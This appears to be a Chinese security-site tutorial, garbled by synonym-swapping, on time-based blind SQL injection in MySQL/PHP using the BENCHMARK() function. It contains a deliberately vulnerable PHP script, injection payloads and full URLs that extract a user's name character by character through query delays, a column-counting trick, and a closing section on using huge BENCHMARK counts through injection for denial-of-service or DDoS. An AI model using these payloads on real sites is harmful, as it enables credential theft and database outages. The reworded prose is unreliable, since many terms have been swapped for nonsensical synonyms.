|
|
|
联系客服020-83701501

通过BENCHMARK函数延迟爆路径

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
通过BENCHMARK函数迟误爆阶梯

第一部

垄断工夫推延中止注射—BENCHMARK函数在注命中的垄断 一.前言/思路   假定你看了angel的《SQL Injection with MySQL》一文,你有会发明突出的mysql+php的注射但凡通过返回谬误新闻,和union分手查问改造副本查问语句中的字段而直接输出敏感新闻, 但是有的时候,主机设置为不闪现谬误新闻:display_errors = Off 而且有的代码中sql查问后只是繁冗的对查问结果中止果断,而不哀告输出查问结果,我们用上面的门径注射将满载而归。我们概略采纳工夫推延来中止果断注射 了。   本技能的次要思路:通过在机关的语句用参加实行工夫推延的函数,假定我们提交的果断是粗略的,那么mysql查问工夫就出现推延,假定提交的果断是粗略,将不会实行工夫推延的函数,查问语句将不会出现推延。这样我们就概略中止果断注射。 二.关于BENCHMARK函数   在MySQL参考手册里概略看到以下描叙: ——————————————————————————– BENCHMARK(count,expr) BENCHMARK()函数频频countTimes次实行表达式expr,它概略用于计时MySQL措置惩罚表达式有多快。结果值总是0。意欲用于mysql客户,它陈诉查问的实行工夫。

Default
1234567 mysql> select BENCHMARK(1000000,encode("hello","goodbye"));+----------------------------------------------+| BENCHMARK(1000000,encode("hello","goodbye")) |+----------------------------------------------+| 0 |+----------------------------------------------+1 row in set (4.74 sec)

 

 

陈诉的工夫是客户真个经过工夫,不是在供职器真个CPU工夫。实行BENCHMARK()几何次梗概是理智的,而且当心供职器板滞的负载有多重来表达结果。 ——————————————————————————–   只要我们把参数count 设置大点,那么那实行的工夫就会变长。上面我们看看在mysql里实行的成效:

Default
1234567891011121314 mysql> select md5( 'test' );+----------------------------------+| md5( 'test' ) |+----------------------------------+| 098f6bcd4621d373cade4e832627b4f6 |+----------------------------------+1 row in set (0.00 sec) 〈-----------实行工夫为0.00 secmysql> select benchmark( 500000, md5( 'test' ) );+------------------------------------+| benchmark( 500000, md5( 'test' ) ) |+------------------------------------+| 0 |+------------------------------------+1 row in set (6.55 sec) 〈------------实行工夫为6.55 sec

 

 

  由此概略看收操纵benchmark实行500000次的工夫明显比畸形实行工夫紧缩了。 三.具要领子   首先我们看个繁冗的php代码:

Default
1234567891011121314 < ?php$servername = "localhost";$dbusername = "root";$dbpassword = "";$dbname = "injection";mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接战败");$sql = "SELECT * FROM article WHERE articleid=$id";$result = mysql_db_query($dbname,$sql);$row = mysql_fetch_array($result);if (!$row){exit;}?>

 

 

  数据库injection结会商内容以下:

Default
1234567891011121314151617 # 数据库 : `injection`## --------------------------------------------------------## 表的结构 `article`#CREATE TABLE `article` (`articleid` int(11) NOT NULL auto_increment,`title` varchar(100) NOT NULL default '',`content` text NOT NULL,PRIMARY KEY (`articleid`)) TYPE=MyISAM AUTO_INCREMENT=3 ;## 导出表中的数据 `article`#INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教诲制度真是他妈的落伍!假定我当教诲部长。我要把部门老师都解雇!操~');INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是甚么工具啊');

 

 

# ——————————————————–

Default
1234567891011121314 ## 表的结构 `user`#CREATE TABLE `user` (`userid` int(11) NOT NULL auto_increment,`username` varchar(20) NOT NULL default '',`password` varchar(20) NOT NULL default '',PRIMARY KEY (`userid`)) TYPE=MyISAM AUTO_INCREMENT=3 ;## 导出表中的数据 `user`#INSERT INTO `user` VALUES (1, 'angel', 'mypass');INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');

 

 

  代码只是对查问结果中止繁冗的果断可否存在,假如我们已经设置display_errors=Off。我们这里就没门径垄断union select的改造直接输出敏感新闻(ps:这里不是说我们不垄断union,因为在mysql中不反对子查问)或通谬误误动静返回差别来果断注射了。我 们垄断union分手查问拔出BENCHMARK函数语句来中止果断注射: Default
1 id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*

 

  上面语句概略猜userid为1的用户名的第一名字母的ascii码值是可否为97,假定是97,上面的查问将因为benchmark感导 而延时。假定不为97,将不回出现延时,这样我们最终概略猜出打点员的用户名和暗码了。 本身当心,这里有一个小才略:在benchmark(500000,md5(‘test’))中我们操纵了’号, 这样是很杀戮的,因为打点员方便设置下 就概略过滤使注射战败,我们这里test概略是用别的进制表示,如16进制。最终机关以下: Default
1 http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*

 

  实行速率很慢,得到userid为1的用户名的第一名字母的ascii码值是是为97。   当心:我们在操纵union select事必需晓得副本语句查问内外的字段数,以往我们是根据谬误动静来果断,我们在union select 1,1,1我们不停的减少1 假定字段数粗略将畸形返回不会出现谬误,而当初不行以操纵这个行径了,那我们概略垄断benchmark(),我们这样机关 union select benchmark(500000,md5(0x41)) 1,1 我们在减少1的,当字段数粗略时就回实行benchmark()出现延时,这样我们就概略果断字段数了。 第二部 垄断BENCHMARK函数中止ddos打击   实在思路很繁冗:在BENCHMARK(count,expr) 中 我们只要设置count 即是实行次数富余大的话,就概略组成dos打击了,假定我们用代办署理或别的同时提交,即是ddos打击,预计数据库很快就会挂了。不过前提还是哀告概略注射。语句: Default
1 http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))

数安新闻+更多

证书相关+更多